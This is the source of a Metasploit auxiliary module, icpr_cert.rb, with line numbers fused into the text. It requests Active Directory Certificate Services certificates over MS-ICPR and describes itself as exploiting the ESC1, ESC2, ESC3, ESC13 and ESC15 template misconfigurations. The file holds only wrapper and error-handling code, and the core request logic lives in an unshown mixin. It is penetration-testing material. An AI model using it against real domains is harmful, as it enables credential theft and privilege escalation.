Path: blob/master/modules/auxiliary/admin/dcerpc/icpr_cert.rb
32495 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'ruby_smb/dcerpc/client'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::MsIcpr9include Msf::Exploit::Remote::SMB::Client::Authenticated10include Msf::Exploit::Remote::DCERPC11include Msf::Auxiliary::Report12include Msf::OptionalSession::SMB1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'ICPR Certificate Management',19'Description' => %q{20Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate21template's configuration the resulting certificate can be used for various operations such as authentication.22PFX certificate files that are saved are encrypted with a blank password.2324This module is capable of exploiting ESC1, ESC2, ESC3, ESC13 and ESC15.25},26'License' => MSF_LICENSE,27'Author' => [28'Will Schroeder', # original idea/research29'Lee Christensen', # original idea/research30'Oliver Lyak', # certipy implementation31'Spencer McIntyre'32],33'References' => [34[ 'URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ],35[ 'URL', 'https://github.com/GhostPack/Certify' ],36[ 'URL', 'https://github.com/ly4k/Certipy' ],37[ 'ATT&CK', Mitre::Attack::Technique::T1649_STEAL_OR_FORGE_AUTHENTICATION_CERTIFICATES ]38],39'Notes' => {40'Reliability' => [],41'Stability' => [],42'SideEffects' => [ IOC_IN_LOGS ],43'AKA' => [ 'Certifry', 'Certipy' ]44},45'Actions' => [46[ 'REQUEST_CERT', { 'Description' => 'Request a certificate' } ]47],48'DefaultAction' => 'REQUEST_CERT'49)50)51end5253def run54send("action_#{action.name.downcase}")55rescue MsIcprConnectionError, SmbIpcConnectionError => e56fail_with(Failure::Unreachable, e.message)57rescue MsIcprAuthenticationError, MsIcprAuthorizationError, SmbIpcAuthenticationError => e58fail_with(Failure::NoAccess, e.message)59rescue MsIcprNotFoundError => e60fail_with(Failure::NotFound, e.message)61rescue MsIcprUnexpectedReplyError => e62fail_with(Failure::UnexpectedReply, e.message)63rescue MsIcprUnknownError => e64fail_with(Failure::Unknown, e.message)65end6667def action_request_cert68with_ipc_tree do |opts|69request_certificate(opts)70end71end7273# @yieldparam options [Hash] If a SMB session is present, a hash with the IPC tree present. Empty hash otherwise.74# @return [void]75def with_ipc_tree76opts = {}77if session78print_status("Using existing session #{session.sid}")79self.simple = session.simple_client80opts[:tree] = simple.client.tree_connect("\\\\#{client.dispatcher.tcp_socket.peerhost}\\IPC$")81end8283yield opts84ensure85opts[:tree].disconnect! if opts[:tree]86end87end888990